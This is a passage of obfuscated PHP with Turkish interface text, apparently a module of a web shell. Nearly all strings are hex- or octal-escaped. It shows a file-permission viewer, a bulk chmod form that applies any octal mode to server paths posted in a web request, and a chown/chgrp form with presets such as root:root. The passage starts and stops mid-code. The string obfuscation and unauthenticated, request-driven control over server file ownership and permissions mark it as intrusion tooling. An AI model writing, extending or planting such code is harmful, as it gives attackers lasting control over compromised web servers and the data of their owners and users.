"\74\x64\151\166\x20\x63\x6c\141\163\163\75\42\x70\145\x72\x6d\55\x72\157\x77\x22\76\x3c\163\x70\141\156\40\x63\x6c\141\163\163\75\42\x6c\141\142\145\x6c\x22\x3e\360\x9f\221\244\40\123\x61\x68\151\x70\x3c\57\163\x70\141\156\76\74\144\x69\x76\40\143\154\x61\x73\163\75\42\x62\x69\164\x73\42\x3e"; $bits = str_split($perm_bits); $perms_map = array("\x72" => $bits[0] == "\x31", "\x77" => $bits[1] == "\x31", "\x78" => $bits[2] == "\x31"); echo "\x3c\x73\x70\x61\156\x20\143\154\141\163\x73\x3d\42" . ($perms_map["\x72"] ? "\162" : "\144\x61\x73\150") . "\x22\x3e" . ($perms_map["\162"] ? "\162" : "\55") . "\74\57\163\160\141\156\76"; echo "\x3c\x73\160\141\x6e\x20\143\154\x61\x73\x73\x3d\x22" . ($perms_map["\x77"] ? "\x77" : "\144\x61\163\x68") . "\42\x3e" . ($perms_map["\167"] ? "\x77" : "\x2d") . "\74\57\163\160\x61\x6e\76"; echo "\x3c\163\x70\141\156\40\x63\x6c\x61\x73\x73\75\42" . ($perms_map["\170"] ? "\x78" : "\x64\x61\163\150") . "\x22\x3e" . ($perms_map["\170"] ? "\170" : "\x2d") . "\x3c\57\163\x70\141\x6e\x3e"; echo "\74\57\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\x3e"; echo "\74\x64\x69\x76\x20\x63\x6c\141\163\163\x3d\x22\x70\145\162\x6d\x2d\162\157\167\x22\x3e\74\x73\160\x61\156\40\x63\154\x61\163\x73\75\42\x6c\141\x62\x65\154\x22\x3e\xf0\x9f\221\245\x20\107\x72\x75\x70\x3c\x2f\163\160\141\156\76\x3c\144\151\x76\40\143\x6c\x61\163\163\x3d\x22\x62\151\x74\x73\x22\x3e"; $perms_map = array("\162" => $bits[3] == "\x31", "\167" => $bits[4] == "\x31", "\x78" => $bits[5] == "\61"); echo "\x3c\x73\x70\x61\x6e\40\x63\154\141\163\x73\75\42" . ($perms_map["\x72"] ? "\162" : "\144\141\163\x68") . "\x22\x3e" . ($perms_map["\162"] ? "\162" : "\x2d") . "\x3c\x2f\x73\x70\x61\x6e\x3e"; echo "\x3c\x73\160\141\x6e\x20\143\x6c\141\x73\x73\x3d\42" . ($perms_map["\167"] ? "\167" : "\144\x61\163\x68") . "\42\76" . ($perms_map["\x77"] ? "\167" : "\55") . "\74\57\163\160\x61\156\x3e"; echo "\x3c\x73\x70\141\156\40\143\154\x61\163\x73\75\42" . ($perms_map["\x78"] ? "\x78" : "\144\x61\163\150") . "\42\76" . ($perms_map["\170"] ? "\x78" : "\x2d") . "\74\x2f\x73\160\141\156\76"; echo "\74\x2f\144\151\166\76\74\57\144\151\166\x3e"; echo "\x3c\144\151\x76\x20\143\154\x61\163\163\x3d\x22\x70\x65\162\x6d\x2d\162\157\x77\x22\x3e\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x6c\141\x62\145\154\42\76\360\x9f\x8c\x90\40\x44\151\304\x9f\145\x72\x3c\57\163\160\x61\x6e\76\74\144\x69\x76\x20\x63\x6c\141\163\x73\x3d\42\142\x69\164\163\42\x3e"; $perms_map = array("\162" => $bits[6] == "\x31", "\167" => $bits[7] == "\61", "\x78" => $bits[8] == "\x31"); echo "\x3c\163\160\141\156\40\x63\x6c\x61\x73\x73\75\42" . ($perms_map["\x72"] ? "\162" : "\144\x61\163\150") . "\x22\76" . ($perms_map["\162"] ? "\x72" : "\55") . "\74\x2f\x73\x70\141\156\76"; echo "\74\163\160\141\156\40\143\154\x61\163\163\x3d\x22" . ($perms_map["\x77"] ? "\167" : "\x64\x61\163\150") . "\42\76" . ($perms_map["\167"] ? "\x77" : "\x2d") . "\x3c\57\x73\160\x61\156\x3e"; echo "\74\x73\160\x61\x6e\40\143\154\141\163\163\x3d\x22" . ($perms_map["\x78"] ? "\170" : "\144\141\163\x68") . "\x22\x3e" . ($perms_map["\x78"] ? "\170" : "\x2d") . "\x3c\57\x73\160\141\x6e\x3e"; echo "\74\57\x64\151\166\76\74\x2f\x64\x69\166\x3e"; echo "\74\x2f\144\151\166\76"; echo "\x3c\144\151\166\x20\163\x74\x79\154\145\x3d\x22\142\x6f\x72\144\145\x72\x2d\164\x6f\x70\72\x31\x70\170\x20\163\157\x6c\151\x64\x20\x72\x67\x62\x61\50\x31\x37\x39\x2c\x30\x2c\62\x35\x35\x2c\x30\x2e\60\65\x29\73\155\x61\162\147\151\156\55\x74\x6f\x70\72\70\x70\170\x3b\x70\141\144\x64\151\x6e\x67\x2d\x74\x6f\160\72\x38\160\x78\73\x22\x3e"; if ($show_owner) { echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\163\75\42\157\165\164\160\165\164\x2d\154\x69\156\145\42\76\x3c\x73\x70\x61\x6e\x20\143\x6c\141\163\x73\75\42\x64\151\155\42\76\xf0\237\221\xa4\40\123\x61\x68\151\160\x3a\x20" . $owner . "\74\x2f\163\160\141\x6e\76\x3c\x2f\144\x69\166\76"; echo "\74\x64\x69\166\40\x63\x6c\141\163\163\x3d\x22\157\x75\164\x70\x75\164\55\x6c\151\156\x65\42\76\74\163\x70\141\x6e\x20\143\154\141\163\x73\x3d\42\x64\x69\x6d\42\x3e\xf0\237\x91\245\x20\107\162\x75\160\x3a\40" . $group . "\74\x2f\163\x70\141\x6e\76\74\x2f\144\x69\166\76"; } echo "\74\x64\x69\166\40\143\x6c\x61\163\163\x3d\x22\x6f\x75\x74\160\x75\x74\55\x6c\151\x6e\145\42\76\74\x73\x70\141\156\40\143\x6c\x61\163\163\x3d\x22\x64\151\155\x22\76\xf0\237\223\246\40\x42\x6f\x79\165\164\72\40" . (function_exists("\146\157\162\155\141\164\x53\x69\x7a\145") ? formatSize($size) : $size . "\40\x42") . "\x3c\57\x73\x70\x61\156\x3e\x3c\57\x64\151\x76\x3e"; echo "\x3c\x64\x69\x76\x20\x63\154\141\x73\x73\75\42\157\165\164\x70\x75\x74\55\x6c\151\x6e\x65\x22\x3e\x3c\x73\x70\141\156\x20\143\x6c\141\x73\x73\x3d\42\144\151\x6d\42\76\360\x9f\223\205\x20\x44\145\xc4\x9f\151\305\x9f\164\x69\x72\151\154\x6d\x65\x3a\x20" . $modified . "\x3c\57\163\x70\141\x6e\76\74\57\144\151\166\x3e"; echo "\x3c\x64\x69\166\40\143\154\x61\x73\x73\x3d\42\x6f\x75\164\x70\165\x74\x2d\154\x69\156\145\42\x3e\74\x73\160\x61\156\x20\x63\x6c\x61\163\163\75\42\x64\151\155\x22\x3e\xf0\237\223\205\x20\x45\x72\x69\xc5\237\151\155\x3a\x20" . $accessed . "\x3c\57\x73\x70\141\x6e\76\74\57\x64\151\x76\76"; echo "\74\x64\x69\166\x20\143\154\x61\163\x73\75\42\157\x75\164\x70\x75\x74\55\154\151\156\x65\x22\76\74\163\160\x61\156\40\x63\x6c\x61\x73\x73\x3d\42\144\x69\x6d\42\x3e\xf0\237\223\205\x20\117\154\165\305\x9f\x74\165\162\x75\x6c\x6d\141\72\40" . $created . "\74\x2f\163\x70\141\x6e\76\74\57\x64\x69\x76\x3e"; echo "\x3c\57\x64\x69\x76\x3e"; echo "\x3c\x64\x69\x76\40\x73\164\171\154\145\75\42\142\x6f\x72\x64\x65\162\55\x74\x6f\160\x3a\x31\160\x78\40\x73\x6f\x6c\151\144\40\162\147\x62\141\x28\61\x37\71\54\60\x2c\62\x35\65\x2c\x30\56\x30\x35\51\73\155\141\x72\x67\x69\156\x2d\x74\x6f\160\x3a\70\160\x78\73\x70\141\x64\x64\151\x6e\x67\55\164\x6f\x70\x3a\x38\160\x78\73\x22\76"; echo "\74\144\x69\166\x20\x63\154\x61\x73\x73\x3d\x22\x6f\165\164\160\x75\164\55\x6c\151\x6e\145\42\76\x3c\163\160\141\156\x20\x63\154\x61\163\163\75\42\144\151\x6d\x22\x3e\xf0\237\223\213\40\x44\165\162\165\155\72\74\x2f\x73\x70\141\x6e\x3e\74\x2f\144\151\x76\76"; echo "\x3c\x64\x69\166\x20\x63\154\x61\x73\163\x3d\42\157\x75\x74\x70\x75\164\55\154\x69\156\x65\42\76\40\x20" . ($is_readable ? "\74\x73\160\x61\156\40\143\x6c\x61\163\x73\75\42\163\165\x63\143\145\163\x73\x22\x3e\xe2\x9c\x85\x3c\x2f\x73\160\141\156\x3e\40\117\x6b\165\156\141\x62\151\x6c\151\x72" : "\x3c\x73\160\141\156\40\x63\x6c\141\163\163\75\x22\145\x72\x72\157\162\x22\x3e\342\x9d\x8c\74\57\x73\160\x61\156\x3e\40\x4f\x6b\x75\156\141\155\x61\x7a") . "\x3c\x2f\144\151\166\x3e"; echo "\74\144\151\x76\x20\x63\154\141\x73\x73\x3d\42\157\x75\164\x70\165\x74\55\x6c\x69\x6e\145\x22\76\x20\40" . ($is_writable ? "\74\x73\160\141\156\40\143\x6c\141\163\x73\x3d\42\x73\x75\143\x63\145\163\163\42\76\342\x9c\x85\74\x2f\x73\x70\x61\x6e\76\40\131\141\x7a\304\261\154\141\x62\x69\x6c\151\x72" : "\x3c\x73\160\x61\x6e\x20\143\154\141\163\163\x3d\42\x65\x72\x72\157\162\x22\76\342\235\x8c\74\57\163\160\141\x6e\76\40\131\x61\x7a\xc4\xb1\x6c\141\155\141\172") . "\74\57\144\151\166\76"; echo "\x3c\x64\x69\x76\x20\143\x6c\x61\x73\x73\75\x22\x6f\165\164\160\165\x74\x2d\154\x69\x6e\145\42\76\40\40" . ($is_executable ? "\x3c\x73\x70\141\156\x20\x63\x6c\141\x73\163\75\x22\163\165\x63\143\x65\163\163\42\76\342\x9c\205\74\x2f\163\160\141\156\76\40\303\207\x61\154\xc4\261\305\237\164\xc4\261\x72\304\xb1\154\141\x62\151\154\151\162" : "\74\x73\x70\x61\x6e\40\x63\154\x61\163\163\x3d\x22\145\x72\162\x6f\162\42\76\xe2\235\214\x3c\x2f\163\x70\x61\x6e\76\40\xc3\x87\x61\154\xc4\xb1\305\x9f\x74\304\xb1\162\304\261\154\x61\155\x61\172") . "\x3c\x2f\144\151\x76\x3e"; echo "\x3c\57\x64\151\166\76"; if ($recursive_analyze && $is_dir) { echo "\x3c\x64\151\x76\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\162\x64\145\x72\55\x74\x6f\x70\72\61\x70\170\40\163\157\x6c\151\x64\40\x72\147\x62\141\x28\61\x37\x39\54\60\54\62\x35\65\x2c\x30\x2e\x30\65\x29\x3b\x6d\x61\x72\147\151\156\55\164\x6f\x70\72\x38\160\170\x3b\x70\x61\x64\x64\x69\156\x67\x2d\x74\x6f\x70\72\x38\x70\x78\x3b\x22\x3e"; echo "\74\144\151\x76\40\x63\154\x61\163\163\x3d\x22\x6f\165\x74\160\x75\164\x2d\x6c\151\x6e\145\x22\x3e\74\x73\160\141\156\40\x63\154\141\163\x73\75\x22\167\141\x72\x6e\x22\x3e\xf0\237\224\x84\x20\x52\x65\143\165\162\163\x69\166\145\40\x61\x6e\x61\x6c\151\x7a\x3a\74\x2f\x73\x70\141\156\76\x3c\x2f\144\151\166\x3e"; $dir_count = 0; $file_count = 0; $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($analyze_file, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iter as $f) { if (is_dir($f)) { $dir_count++; } else { $file_count++; } } echo "\74\144\151\x76\40\143\x6c\x61\163\x73\x3d\x22\x6f\165\164\160\165\164\55\154\x69\156\145\x22\x3e\x3c\163\x70\141\156\40\143\154\141\x73\x73\x3d\x22\144\151\155\x22\76\360\237\x93\x81\x20\104\151\172\x69\x6e\x3a\x20" . $dir_count . "\x3c\x2f\x73\160\x61\156\76\74\57\144\151\166\x3e"; echo "\74\x64\151\x76\x20\x63\154\x61\163\163\x3d\42\157\165\164\x70\x75\164\55\x6c\x69\x6e\145\x22\76\74\163\x70\141\156\x20\x63\x6c\141\x73\163\x3d\x22\x64\151\x6d\42\x3e\xf0\237\223\x84\40\104\x6f\163\x79\x61\72\x20" . $file_count . "\74\x2f\163\160\141\x6e\x3e\74\x2f\144\151\x76\76"; echo "\74\144\x69\x76\40\143\x6c\141\x73\x73\x3d\42\x6f\165\164\160\x75\x74\x2d\154\x69\156\x65\42\76\x3c\163\160\x61\156\40\143\x6c\141\163\x73\75\x22\144\x69\155\42\x3e\xf0\237\x93\xa6\40\x54\x6f\160\x6c\141\x6d\x3a\40" . ($dir_count + $file_count) . "\x3c\57\x73\x70\x61\156\x3e\74\57\144\151\166\76"; echo "\74\x2f\x64\151\x76\76"; } echo "\x3c\x2f\x64\151\x76\x3e"; } else { echo "\x3c\144\x69\166\40\143\154\x61\163\x73\x3d\x22\143\x68\155\157\x64\55\157\x75\164\160\165\x74\x22\x3e"; echo "\x3c\144\x69\x76\40\143\x6c\141\x73\x73\x3d\42\x6f\165\164\160\x75\x74\x2d\154\151\x6e\145\42\76\x3c\x73\160\141\x6e\x20\x63\x6c\x61\x73\x73\75\x22\145\x72\162\x6f\162\x22\x3e\xe2\x9d\x8c\x20\104\x6f\x73\171\x61\57\x44\151\x7a\x69\x6e\x20\142\x75\x6c\x75\x6e\x61\155\x61\x64\xc4\261\41\74\57\163\160\141\156\76\74\x2f\x64\151\x76\76"; echo "\74\x2f\144\151\166\76"; } } ?> </div> <!-- ============================================================ --> <!-- 3. TOPLU CHMOD --> <!-- ============================================================ --> <div class="chmod-card"> <div class="card-header"> <i class="fas fa-layer-group"></i> <h4>📦 Toplu Chmod</h4> <span class="badge">Bulk</span> </div> <form method="POST" class="chmod-form"> <div class="input-group"> <textarea name="chmod_bulk_files" rows="4" placeholder="Her satıra bir dosya/dizin yolu Örnek: /var/www/index.php /var/www/admin/ /var/www/config/" style="flex:1;min-height:80px;resize:vertical;"></textarea> </div> <div class="input-group"> <input type="text" name="chmod_bulk_perms" placeholder="İzin (örn: 0644)" value="0644"> <select name="chmod_bulk_type" style="max-width:120px;"> <option value="all">📁 Tümü</option> <option value="files">📄 Dosyalar</option> <option value="dirs">📁 Dizinler</option> </select> <select name="chmod_bulk_scope" style="max-width:120px;"> <option value="all">Tümü</option> <option value="existing">Varolan</option> <option value="missing">Eksik</option> </select> </div> <div class="input-group"> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_bulk_verbose" value="1" checked> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-list"></i> Detaylı </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chmod_bulk_dry" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-flask"></i> Kuru </label> </div> <div class="btn-group-chmod"> <button type="submit" name="chmod_action" value="bulk" class="btn-neon-chmod"> <i class="fas fa-play"></i> Toplu Uygula </button> <button type="button" class="btn-neon-chmod small primary" onclick="addCWDToBulkChmod()"> <i class="fas fa-folder"></i> CWD Ekle </button> <button type="button" class="btn-neon-chmod small warning" onclick="addWWWToBulkChmod()"> <i class="fas fa-globe"></i> WWW Ekle </button> </div> </form> <?php if (isset($_POST["\x63\x68\155\157\x64\137\141\143\x74\x69\x6f\156"]) && $_POST["\143\x68\155\157\144\x5f\141\143\x74\151\157\x6e"] == "\x62\x75\154\x6b") { $bulk_files = explode("\12", $_POST["\x63\150\155\x6f\144\137\142\165\154\x6b\x5f\146\x69\154\145\x73"]); $bulk_perms = octdec($_POST["\143\150\x6d\157\x64\x5f\x62\165\x6c\153\137\160\x65\x72\x6d\163"]); $bulk_type = $_POST["\x63\150\x6d\157\144\x5f\142\x75\154\153\137\x74\x79\x70\145"]; $bulk_scope = $_POST["\x63\150\x6d\157\144\x5f\x62\x75\x6c\x6b\137\163\x63\x6f\x70\145"] ?? "\141\x6c\x6c"; $verbose = isset($_POST["\143\150\155\x6f\144\x5f\142\x75\154\x6b\137\x76\x65\x72\142\157\x73\145"]); $dry = isset($_POST["\143\x68\155\157\144\137\142\165\x6c\153\137\144\x72\x79"]); $success = 0; $errors = 0; $skipped = 0; echo "\x3c\144\x69\166\x20\x63\154\x61\163\163\75\x22\143\150\155\157\x64\x2d\x6f\x75\x74\x70\165\x74\42\76"; echo "\74\x64\151\166\40\143\x6c\141\163\x73\x3d\x22\x6f\x75\164\160\x75\x74\55\x6c\x69\x6e\145\42\x3e\x3c\163\x70\x61\156\40\x63\154\x61\x73\x73\75\x22\x69\156\146\157\42\x3e\360\237\223\xa6\x20\124\x6f\x70\x6c\165\40\x69\xc5\237\154\145\155\x20\x62\141\305\237\154\141\164\xc4\261\154\304\xb1\x79\x6f\x72\x2e\56\56\x3c\57\163\160\x61\x6e\76\74\57\144\x69\166\76"; echo "\74\144\x69\x76\40\143\154\x61\x73\163\x3d\42\x6f\165\164\160\165\x74\x2d\x6c\x69\156\x65\x22\76\x3c\x73\x70\141\x6e\x20\143\154\141\x73\x73\75\x22\144\151\155\x22\76\xf0\237\x94\xa2\x20" . count($bulk_files) . "\40\303\266\xc4\237\x65\x2c\40\151\172\x69\156\x3a\40" . $_POST["\143\x68\x6d\157\x64\137\x62\x75\x6c\x6b\x5f\x70\145\x72\x6d\163"] . "\74\x2f\x73\x70\x61\x6e\76\74\x2f\x64\151\x76\x3e"; if ($dry) { echo "\74\144\x69\166\40\143\154\x61\163\x73\x3d\42\157\165\164\x70\x75\164\x2d\x6c\151\x6e\x65\x22\76\74\x73\x70\x61\x6e\40\x63\x6c\141\x73\x73\x3d\x22\x77\x61\162\x6e\42\76\xf0\x9f\xa7\xaa\40\x4b\125\x52\x55\x20\303\207\x41\x4c\x49\305\x9e\x54\x49\x52\x4d\101\x20\55\40\104\145\xc4\237\151\305\237\151\x6b\154\151\x6b\x20\x79\x6f\x6b\x3c\x2f\x73\x70\141\x6e\76\x3c\x2f\x64\x69\x76\x3e"; } foreach ($bulk_files as $bf) { $bf = trim($bf); if (empty($bf)) { continue; } $exists = file_exists($bf); $is_dir = is_dir($bf); if ($bulk_scope == "\x65\170\x69\x73\x74\x69\156\147" && !$exists) { $skipped++; continue; } if ($bulk_scope == "\155\151\163\x73\x69\156\147" && $exists) { $skipped++; continue; } $skip = false; if ($bulk_type == "\x66\151\x6c\x65\x73" && $is_dir) { $skip = true; } if ($bulk_type == "\144\151\162\x73" && !$is_dir) { $skip = true; } if (!$skip && $exists) { if (!$dry) { if (@chmod($bf, $bulk_perms)) { $success++; if ($verbose) { echo "\74\x64\x69\x76\x20\x63\x6c\x61\163\x73\x3d\42\157\165\x74\x70\x75\164\55\154\x69\x6e\145\x22\76\x3c\163\160\141\x6e\40\x63\x6c\x61\163\163\75\x22\163\x75\x63\143\x65\163\x73\x22\76\xe2\234\x85\74\x2f\x73\x70\x61\156\76\40" . htmlspecialchars($bf) . "\x20\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\75\42\144\x69\x6d\x22\76\342\x86\x92\x20" . $_POST["\143\150\x6d\x6f\x64\137\142\x75\154\153\137\160\x65\x72\155\x73"] . "\x3c\57\x73\x70\x61\156\x3e\x3c\57\144\x69\x76\x3e"; } } else { $errors++; echo "\x3c\x64\x69\x76\x20\143\154\x61\163\163\x3d\x22\x6f\x75\x74\x70\x75\x74\55\154\x69\x6e\145\x22\x3e\x3c\x73\x70\x61\156\40\x63\154\x61\163\163\x3d\x22\145\x72\x72\x6f\162\x22\76\xe2\x9d\214\x3c\x2f\163\x70\141\x6e\76\40" . htmlspecialchars($bf) . "\x20\x3c\x73\x70\x61\x6e\x20\143\x6c\141\x73\163\x3d\x22\144\x69\x6d\x22\x3e\50\x79\x65\164\x6b\151\40\x68\141\164\x61\x73\304\261\x29\x3c\57\163\160\x61\156\x3e\74\57\x64\x69\166\x3e"; } } else { $success++; echo "\x3c\x64\x69\x76\40\x63\154\x61\x73\163\75\x22\157\165\164\x70\165\x74\x2d\x6c\151\156\145\42\76\x3c\x73\x70\x61\156\x20\143\154\x61\163\163\x3d\x22\151\156\146\157\x22\x3e\360\237\x94\215\74\57\x73\160\141\156\76\40" . htmlspecialchars($bf) . "\x20\74\x73\160\x61\156\40\x63\x6c\141\x73\163\x3d\x22\x64\151\155\42\x3e\50\x6b\165\x72\x75\51\x3c\x2f\163\x70\141\x6e\76\x3c\57\x64\151\x76\76"; } } else { if ($exists) { $skipped++; echo "\74\144\x69\x76\x20\143\x6c\141\163\163\75\x22\x6f\x75\x74\160\165\x74\x2d\x6c\x69\156\x65\42\76\74\x73\x70\141\x6e\40\143\x6c\x61\163\163\x3d\42\144\151\x6d\x22\76\xe2\x8f\xad\357\270\217\x3c\57\163\160\141\156\76\40" . htmlspecialchars($bf) . "\x20\74\x73\160\x61\x6e\40\x63\154\141\163\163\x3d\42\x64\x69\x6d\x22\76\50\163\153\151\x70\x29\74\57\163\x70\x61\x6e\76\74\x2f\x64\151\x76\76"; } else { $errors++; echo "\x3c\144\x69\x76\40\x63\154\x61\163\163\75\42\x6f\165\x74\160\x75\164\x2d\x6c\x69\156\145\x22\x3e\74\x73\160\141\x6e\40\143\154\x61\163\163\75\x22\x65\162\x72\157\x72\x22\x3e\342\235\x8c\74\x2f\x73\160\141\x6e\76\x20" . htmlspecialchars($bf) . "\x20\x3c\163\x70\x61\x6e\x20\143\154\141\x73\x73\75\42\x64\151\x6d\42\76\x28\142\x75\154\x75\x6e\x61\x6d\141\144\xc4\261\x29\x3c\57\163\160\x61\156\x3e\74\57\144\151\166\x3e"; } } } echo "\74\144\151\x76\40\x63\x6c\141\163\x73\75\x22\157\x75\x74\x70\165\x74\55\154\151\x6e\145\42\40\163\164\171\x6c\145\x3d\42\142\x6f\162\144\x65\162\55\164\157\160\x3a\x31\x70\x78\x20\x73\157\154\151\144\40\x72\x67\142\x61\x28\61\67\71\x2c\x30\54\62\65\65\54\x30\x2e\x31\51\73\x6d\x61\x72\x67\x69\156\55\x74\x6f\160\72\65\x70\x78\x3b\160\141\x64\144\x69\156\147\55\164\x6f\x70\72\x35\x70\170\x3b\42\x3e"; if ($dry) { echo "\74\x73\160\141\156\x20\143\x6c\x61\163\163\75\x22\x69\156\146\157\42\76\xf0\x9f\247\252\x20\113\x75\x72\x75\x20\303\xa7\141\154\xc4\xb1\xc5\x9f\x74\304\261\x72\x6d\141\72\40" . $success . "\x20\x69\xc5\x9f\x6c\x65\156\x65\143\145\x6b\54\x20" . $errors . "\40\150\141\x74\x61\x2c\x20" . $skipped . "\x20\x61\x74\x6c\141\156\x64\304\xb1\74\x2f\x73\160\141\156\76"; } else { echo "\x3c\x73\x70\141\x6e\x20\143\154\141\x73\163\75\42\x73\x75\143\x63\x65\163\163\42\x3e\xe2\234\205\40\304\260\xc5\237\x6c\x65\x6d\40\x74\141\x6d\x61\x6d\154\x61\x6e\x64\xc4\xb1\x21\x3c\x2f\x73\x70\141\x6e\76\x20"; echo "\x3c\163\x70\141\156\x20\x63\x6c\x61\163\x73\75\x22\144\151\155\x22\76" . $success . "\x20\142\141\xc5\x9f\141\162\304\xb1\154\304\261\54\40" . $errors . "\40\150\x61\x74\x61\54\x20" . $skipped . "\x20\141\164\x6c\x61\156\x64\304\xb1\74\57\163\x70\141\156\76"; } echo "\x3c\57\144\151\x76\x3e"; echo "\x3c\x2f\x64\x69\x76\76"; } ?> </div> <!-- ============================================================ --> <!-- 4. CHOWN & CHGRP --> <!-- ============================================================ --> <div class="chmod-card"> <div class="card-header"> <i class="fas fa-user-cog"></i> <h4>👤 Chown & Chgrp</h4> <span class="badge">Sahip/Grup</span> </div> <form method="POST" class="chmod-form"> <div class="input-group"> <input type="text" name="chown_file" placeholder="Dosya/Dizin yolu" value="<?php echo getcwd() . "\x2f" . (isset($_GET["\x66\x69\154\x65"]) ? $_GET["\146\x69\154\x65"] : ''); ?> "> <button type="button" class="btn-neon-chmod small primary" onclick="document.querySelector('input[name=chown_file]').value = '<?php echo getcwd(); ?> '"> <i class="fas fa-folder"></i> </button> </div> <div class="input-group"> <input type="text" name="chown_owner" placeholder="Sahip (örn: www-data)" value="" id="chown_owner"> <input type="text" name="chown_group" placeholder="Grup (örn: www-data)" value="" id="chown_group"> </div> <div class="input-group"> <select name="chown_preset" id="chown_preset" style="max-width:170px;"> <option value="">📋 Hazır Sahipler</option> <option value="www-data:www-data">www-data:www-data (Apache/Nginx)</option> <option value="root:root">root:root (Sistem)</option> <option value="nobody:nogroup">nobody:nogroup (Misafir)</option> <option value="mysql:mysql">mysql:mysql (MySQL)</option> <option value="ftp:ftp">ftp:ftp (FTP)</option> </select> <button type="button" class="btn-neon-chmod small primary" onclick="getCurrentOwner()"> <i class="fas fa-sync"></i> Mevcut </button> </div> <div class="input-group"> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chown_recursive" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-folder-open"></i> Recursive </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chown_only_owner" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-user"></i> Sadece Sahip </label> <label class="toggle-label-chmod"> <span class="toggle-switch-chmod"> <input type="checkbox" name="chown_only_group" value="1"> <span class="toggle-slider-chmod"></span> </span> <i class="fas fa-users"></i> Sadece Grup </label> </div> <div class="btn-group-chmod"> <button type="submit" name="chmod_action" value="chown" class="btn-neon-chmod warning"> <i class="fas fa-user-edit"></i> Sahip Değiştir </button> <button type="submit" name="chmod_action" value="chown_dry" class="btn-neon-chmod primary"> <i class="fas fa-flask"></i> Kuru </button> </div> </form> <?php if (isset($_POST["\143\x68\155\157\x64\x5f\141\143\x74\x69\x6f\156"]) && ($_POST["\x63\x68\155\157\x64\x5f\x61\143\x74\151\157\156"] == "\x63\150\x6f\x77\156" || $_POST["\x63\150\x6d\x6f\144\x5f\x61\x63\x74\x69\x6f\x6e"] == "\x63\x68\157\167\x6e\137\x64\x72\x79")) { $chown_file = $_POST["\143\x68\157\x77\156\137\x66\151\x6c\145"]; $owner = $_POST["\143\150\157\167\x6e\137\x6f\x77\x6e\x65\x72"]; $group = $_POST["\143\150\157\167\156\x5f\x67\162\157\165\x70"]; $recursive = isset($_POST["\143\150\x6f\x77\156\137\x72\145\x63\165\162\163\151\x76\x65"]); $only_owner = isset($_POST["\143\x68\157\167\x6e\137\157\x6e\154\171\137\157\x77\156\x65\x72"]); $only_group = isset($_POST["\x63\x68\x6f\167\156\137\x6f\156\154\x79\137\x67\x72\157\x75\x70"]); $dry_run = $_POST["\143\150\155\157\x64\x5f\x61\x63\164\151\x6f\x6e"] == "\143\150\x6f\x77\156\x5f\144\x72\x79"; echo "\74\x64\x69\166\x20\143\x6c\141\163\163\x3d\x22\143\x68\155\157\x64\55\157\165\x74\x70\x75\x74\42\76"; echo "\74\144\151\x76\x20\143\x6c\x61\x73\x73\75\x22\157\165\164\x70\165\164\55\x6c\x69\156\145\x22\76\x3c\x73\x70\141\x6e\x20\143\154\x61\x73\x73\75\42\151\x6e\x66\x6f\42\x3e\360\237\x91\xa4\x20\x53\x61\150\151\x70\40\144\145\304\x9f\151\xc5\237\x74\151\162\x69\154\x69\171\157\162\x2e\56\x2e\74\57\163\160\x61\156\76\74\57\x64\151\x76\x3e"; echo "\74\144\151\x76\x20\143\x6c\x61\163\163\75\42\x6f\x75\x74\x70\165\164\x2d\x6c\151\156\145\x22\76\x3c\163\160\141\x6e\x20\x63\154\141\163\x73\75\42\144\151\155\x22\x3e\xf0\x9f\223\202\x20" . htmlspecialchars($chown_file) . "\74\x2f\x73\160\141\x6e\x3e\74\57\x64\151\166\x3e"; if ($dry_run) { echo "\x3c\144\151\x76\40\x63\x6c\141\163\x73\x3d\42\157\x75\x74\160\x75\164\x2d\x6c\151\156\x65\42\76\74\x73\x70\141\156\x20\x63\x6c\141\x73\163\75\x22\x77\x61\162\x6e\42\x3e\xf0\x9f\xa7\252\x20\x4b\x55\x52\125\x20\303\207\101\114\x49\xc5\x9e\x54\111\122\x4d\x41\x3c\x2f\163\x70\141\156\76\74\x2f\144\x69\166\x3e"; } if (!file_exists($chown_file)) { echo "\x3c\x64\151\166\40\x63\154\141\x73\x73\75\42\x6f\x75\164\x70\x75\164\55\x6c\151\x6e\x65\42\76\74\163\x70\141\156\40\143\154\141\163\x73\75\x22\145\x72\x72\x6f\162\x22\76\342\x9d\214\40\104\157\x73\x79\x61\x2f\x44\x69\172\151\156\x20\x62\165\x6c\165\x6e\x61\x6d\141\144\304\xb1\41\x3c\x2f\x73\160\x61\156\76\74\x2f\144\151\166\76"; } elseif (empty($owner) && empty($group)) { echo "\74\x64\x69\x76\40\143\154\x61\163\x73\x3d\42\157\165\x74\160\x75\x74\x2d\x6c\x69\x6e\145\x22\76\74\163\160\141\x6e\x20\x63\x6c\x61\x73\x73\75\42\145\162\162\x6f\162\x22\x3e\342\x9d\x8c\40\x4c\xc3\xbc\x74\146\x65\156\40\x73\x61\x68\x69\x70\x20\x76\145\x79\x61\x20\x67\162\165\x70\x20\142\x65\x6c\151\162\x74\x69\x6e\41\x3c\57\163\x70\141\x6e\76\74\57\x64\151\166\76"; } else { $success = false; $msg = ''; if (!$dry_run) { if (!empty($owner) && !empty($group) && !$only_owner && !$only_group) { $success = @chown($chown_file, $owner) && @chgrp($chown_file, $group); $msg = "\x53\141\150\x69\x70\40\166\x65\40\x47\x72\165\160\x20\144\x65\xc4\x9f\x69\305\x9f\x74\151\x72\x69\154\144\x69"; } elseif (!empty($owner) && !$only_group) { $success = @chown($chown_file, $owner); $msg = "\123\141\150\x69\x70\40\144\x65\304\x9f\151\305\x9f\x74\x69\x72\x69\154\x64\x69"; } elseif (!empty($group) && !$only_owner) { $success = @chgrp($chown_file, $group); $msg = 